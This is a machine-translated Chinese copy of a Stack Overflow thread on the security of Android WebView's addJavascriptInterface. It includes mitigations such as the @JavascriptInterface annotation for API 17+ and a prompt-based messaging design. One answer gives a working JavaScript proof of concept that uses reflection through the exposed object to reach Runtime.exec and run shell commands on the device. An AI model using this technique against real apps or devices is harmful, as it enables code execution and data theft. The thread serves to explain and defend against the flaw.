Android JavascriptInterface安全性?

时间:2011-06-20 18:43:59

标签: javascript android interface webview android-webview

从文档中: http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29

“使用addJavascriptInterface()允许JavaScript控制您的应用程序。这可能是一个非常有用的功能或危险的安全问题。当WebView中的HTML不值得信任时(例如,部分或全部HTML由某些人提供)个人或进程),然后攻击者可以注入执行代码的HTML,可能还有攻击者选择的任何代码。     除非此WebView中的所有HTML都是由您编写的,否则请勿使用addJavascriptInterface()。     绑定的Java对象在另一个线程中运行,而不是在它构造的线程中运行。

假设我有一个只显示自定义对话框的界面,或者开始下载到SD卡。这对任何网址使用都不安全吗?攻击页面如何使用该界面运行攻击者选择的任何代码?

更新 根据{{​​3}}:

  

此方法可用于允许JavaScript控制主机   应用。这是一个强大的功能,但也提供了一种安全性   针对API级别JELLY_BEAN或更低级别的应用程序的风险,   因为JavaScript可以使用反射来访问注入的对象   公共领域。在包含不受信任的WebView中使用此方法   内容可能允许攻击者操纵主机应用程序   意外的方式,使用主机的权限执行Java代码   应用。在WebView中使用此方法时要特别小心   这可能包含不受信任的内容。

是否有这样的例子?这只是说DOWNLOADINTERFACE.dangerousfunction可以被调用,如果这是该类的公共方法吗?

更新

我根据下面的漏洞利用示例进行了测试,网站可以通过Android 4.4,4.1和3.2中的接口访问系统。

但是,我在Android 2.2或2.3上看到此错误,黑客只会导致强制关闭。除了不使用JSInterface之外,防止此黑客攻击的最佳方法是什么?我可以包含这样的伪造函数,以防止未经授权的函数调用吗?

public Object getClass() {
  //throw error, return self, or something?  
}

或者使用ajax和拦截调用重写所有内容?这会导致更好/更差的表现吗?

更新

我成功删除了JS接口,并通过为所有窗口(接口)函数定义window.open(specialurl)命令并覆盖shouldOverrideUrlLoading中的命令来替换该功能。奇怪的是,在某些情况下必须使用window.open(),或者webview中断显示(比如javascript正在停止?),在其他情况下应该使用location.replace或它只显示“interface:// specialdata” “无法找到消息。

(我设置了settings.setJavaScriptCanOpenWindowsAutomatically(true),因此window.open始终从JS开始工作。)

任何人都知道使用此行为重写应用的最佳方法吗?

6 个答案:

答案 0 :(得分:14)

来自javascript的示例访问sdcard文件:

<html>
  <head>
    <script>

      function getContents(inputStream)
    {
        var contents = "";
        var b = inputStream.read();
        var i = 1;
        while(b != -1) {
            var bString = String.fromCharCode(b);
            contents += bString;
            b = inputStream.read();
        }
        return contents;
    }

       function execute(cmdArgs)
     {
       //  go_back_js_interface_name is the registered java interface.
       //  it is an object, but is not iterable with for (var i in interface) {...}.
       return go_back_js_interface_name.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
     } 

      var p = execute(["ls","/mnt/sdcard/"]);
      document.write(getContents(p.getInputStream()));

    </script>
  </head>
  <body>
    Test
  </body>
</html>

答案 1 :(得分:5)

因此,默认情况下,在WebView中运行的代码会被沙箱化 - 也就是说,它无法执行危险的本机内容,例如写入文件系统或访问地址簿等...

大多数javaScript属于该类别,在显示自定义对话框的情况下,没有危险。

addJavaScriptInterface允许您将本机手机内容暴露给javascript,危险在于如果您没有正确编写javaScriptInterface,最终可能会将某人的手机暴露给黑客真正的危险。

我认为使用示例最容易理解。

假设您编写了一个javaScript接口,您可以在其中调用javaScript中的函数,该函数将文件写入android文件系统上的路径。例如:

writeToFile(data, safepath);

javascript全部来自您的服务器,但不知何故,黑客会破坏您的服务器,并将正在加载到您的WebView中的HTML / JavaScript更改为:

writeToFile(dangerousdata, pathtosomeotherfile);

现在我还没有仔细检查android软件包的布局,以便知道如果我是黑客,我想要覆盖/更改哪个文件,但我们曾经在我们自己的linux机器上与朋友进行很少的黑客攻击当我年轻的时候你使用这样的调用来覆盖像SSH二进制文件这样的东西 - 然后你就可以记录所有可能出现的密码。如果你可以做一些事情,比如覆盖或扩展你的原始apk拥有你可以将人的手机变成你可以远程登录的服务器(我不确定这是否可能由于应用程序是如何沙箱化的)。即使您所做的只是覆盖关键数据文件,您也许可以让用户(在这种情况下是黑客)访问安全凭证,密码,各种各样的东西。

很多年前,我们在linux机器上的sendmail进程中发现了一个漏洞,允许我们启动shell。我们以邮件用户身份登录了我们的服务器。你不能像邮件用户那样做多少,但是一旦你在机器上,你就有机会四处寻找其他弱点。

所以你可以安全地做你想做的事情,只要确保你使JavaScript界面​​变得非常简单和愚蠢 - 它只会写入一个位置的一个文件而你写的数据可能是文本或者某些东西没有以后不会解释。对于对话框,我一直这样做 - 也不需要任何特殊的本机调用。这是制作用户安装应用后可以更新的页面的好方法。

希望这有用!

答案 2 :(得分:4)

修复:

对于运行Android 4.2的应用程序,可以从JavaScript访问所有使用JavascriptInterface注释的公共方法。

因此,如果您为 SDK版本17或更高版本开发应用程序,则必须将 @JavascriptInterface注释 添加到您想要的任何方法适用于您的JavaScript。

如果您未提供注释,则在Android 4.2或更高版本上运行时,您的网页无法访问该方法。

要了解更多信息,请点击here

答案 3 :(得分:2)

概述

为了避免 addJavaScriptInterface()的安全问题,您需要设计本机代码和JavaScript之间的通信协议。

以下是通信协议的简单设计。

在JavaScript中

为简化通信协议,您希望Android处理的每个函数调用都应遵循以下模式

/*
classname string
method name string
params jsonObject
*/
value=classname+":"+methodname+"?"+"params";
window.promt(value,"");

在Java中

可以覆盖 WebChromeClient 中的 onJsPrompt()

WebChromeClient.onJsPrompt(WebView view, String origin, String message, String defaultValue, final JsPromptResult result){
//Parse className
//Parse methodName 
//Parse params
//Create an instance of the target class by reflection. Call the target method with params.
//Return true if all params in message valid, otherwise return false.
}

Cordova框架

这也是Cordova Plugin的工作原理。虽然Cordova更复杂,但它将回调函数添加到&#34; JS到Native Call&#34;,并允许本机代码调用JavaScript

答案 4 :(得分:2)

对于任何在2020年进行检查的人来说,似乎安全隐患仅影响低于17(Android 4.2)的Android API。因此,如果您的minSdkVersion17或更高,那么您应该是安全的。

以下是参考文献:

答案 5 :(得分:0)

此安全错误适用于除api级别&gt; = 17之外的所有本机接口。